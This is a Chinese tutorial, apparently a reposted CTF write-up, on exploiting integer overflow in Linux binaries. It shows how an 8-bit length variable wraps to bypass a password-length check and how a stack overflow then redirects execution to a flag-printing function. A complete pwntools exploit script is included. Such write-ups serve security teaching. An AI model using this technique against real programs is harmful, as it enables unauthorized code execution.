Linux 二进制漏洞挖掘入门系列之(三)整数溢出

您所在的位置:网站首页 整数溢出会产生安全问题吗 Linux 二进制漏洞挖掘入门系列之(三)整数溢出

Linux 二进制漏洞挖掘入门系列之(三)整数溢出

2024-05-30 14:04| 来源: 网络整理| 查看: 265

0x10 基本概念

C语言中,基本数据类型包括短整型short、整型int以及长整型long,每种数据类型还可以分为有符号和无符号数,我们尝试用的int a = 0 这样的表达式,默认就是定义一个有符号的整型数据a。对于无符号数,需要显示声明为 unsigned int a = 0。每种数据类型都会有其相应的范围,跟编译器有关。我们以64位gcc编译器为例,其大小范围如下所示

类型字节范围short int2byte(word)0 ~ 32767(0 ~ 0x7fff) 32768 ~ -1(0x8000 ~ 0xffff)unsigned short int2byte(word)0 ~ 65535(0 ~ 0xffff)int4byte(dword)0 ~ 2147483647(0 ~ 0x7fffffff) -2147483648 ~ -1(0x80000000 ~ 0xffffffff)unsigned int4byte(dword)0 ~ 4294967295(0 ~ 0xffffffff)long int8byte(qword)正: 0 ~ 0x7fffffffffffffff 负:0x8000000000000000 ~ 0xffffffffffffffffunsigned long int8byte(qword)0 ~ 0xffffffffffffffff

如果使用相应的数据类型声明一个变量,超过了其大小范围,那么这个变量就相当于溢出了。整数溢出本身不会造成代码执行,但可能会引发堆栈溢出,进而造成恶意代码执行的效果。

0x20 实际案例

我们以int_overflow这道题实际讲解一下整数溢出的利用方式,当然这里也用到了栈溢出,才能够达到 getshell 的效果。题目链接。可以直接在官网做题,也可以下载到本地。本题其实很简单,在这里我们分析一下,只是为了让大家对整数溢出有一个更好的的了解。

0x21 分析代码

我们先看看程序的安全编译选项 在这里插入图片描述 程序只是开启了栈不可执行,也就是说没有办法直接使用ret2shellcode的方式,执行我们注入的代码。但是栈保护和地址随机化都没有开启,说明该程序应该是比较简单的利用就可以了。

运行以下,看看程序的基本功能。 在这里插入图片描述 很简单,就是一个输入用户名和密码的程序,结合IDA反汇编,看一下源码中可能存在的问题。 在这里插入图片描述 入口函数并没有啥问题,那么再继续定位,发现有一个login函数,追踪进去 在这里插入图片描述 这里的passwd限制在了0x199个字节,并且紧接着有一个检查密码的函数check_passwd,再跟进去 在这里插入图片描述 变量v3是 unsigned __int8 类型,也就是8位,存放的是变量s(即传进来的password)的长度,但是v3能够存储的大小是8位的无符号数,也就是十进制数 0 ~ 255,而s的最大长度是 0x199 = 409个字符,明显越界。

这里说明一下,8位即1字节的二进制数,有符号的话,能够表示的范围是 -128 ~ 127 无符号的话,能够表示的范围是 255

如果定义一个无符号的8位二进制数,超过255,则溢出,比如 unsigned char a = 257,那么实际 a = 1 (循环)。

找到漏洞点,并且介绍了溢出的规则,那么我们要怎么利用这个漏洞呢?这里还有一个问题是代码的17行,也就是存在一个字符串拷贝,会将用户输入的密码拷贝到dest中,由上图可知,dest距离ebp也就是栈底 0x14 长度。 总结一下就是,该代码段存在整数溢出和栈溢出,具体的利用,我们接下来继续分析。

0x22 漏洞利用

打开IDA的string窗口,发现存在一个敏感的字符串 cat flag,这是CTF题目当中常见的字符串 flag,那么我们的目的就是让程序运行到调用该字符串的函数。 在这里插入图片描述 所以,需要查找该函数的地址(因为该程序没有开启ALSR)。所以我们的目的就是执行如下函数 在这里插入图片描述 flag_addr = 0x0804868B

至此,你可能会想,直接利用栈溢出,我们现在直接让输入的密码溢出,覆盖返回地址到 flag_addr 不就行了么,但是你会发现这样并不能成功,况且我们还没有用到整数溢出。接下来就是考虑填充字节的问题了。这里再分析一下 check_passwd 函数的汇编 在这里插入图片描述 函数首先会压栈,即 push ebp;mov ebp,esp;这是函数入口常见的一种汇编形式,同样的出口处一般会有 mov esp,ebp;pop ebp;而该程序在函数结尾处有一个leave指令。在32位程序中,这条指令就是表示刚刚我们说的两条汇编语句。也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小4字节,即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数,编写利用脚本如下:

如果输入的字符个数超过了 0x14,那么就会覆盖到stack中的内容,然而要想进入这个覆盖的函数,又需要password字符数在 3-8 之间,这里就用到了整数溢出,即

==>>(3-8)259-264之间随机选择一个数,这里取259

**payload = "a" * (0x14 + 0x4) + flag_addr + "a" * (259 - 0x14 - 0x4 - 0x4)**

最终的exploit代码如下

from pwn import * flag = 0x0804868B sh = process("./int_overflow") context(log_level="debug") sh.sendlineafter("Your choice:", "1") sh.sendlineafter("username:\n", "xiaoming") payload = "a" * (0x14 + 0x4) + p32(flag) + "a" * (259 - 0x14 -0x4 - 0x4) sh.sendlineafter("your passwd:\n", payload) sh.recv() sh.interactive()

由于我们将云端的题目下载到本地来运行的,实际还需要在本地新建一个名为flag的文件,里面输入随意的内容,即可打印出来 在这里插入图片描述

0x30 总结

上述题目的难点不在于栈溢出,而是在于整数溢出的利用,最终填充的a的字符个数,一定要在给定区间内,才能达到漏洞利用的效果,否则,无法进入相应的溢出代码段。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3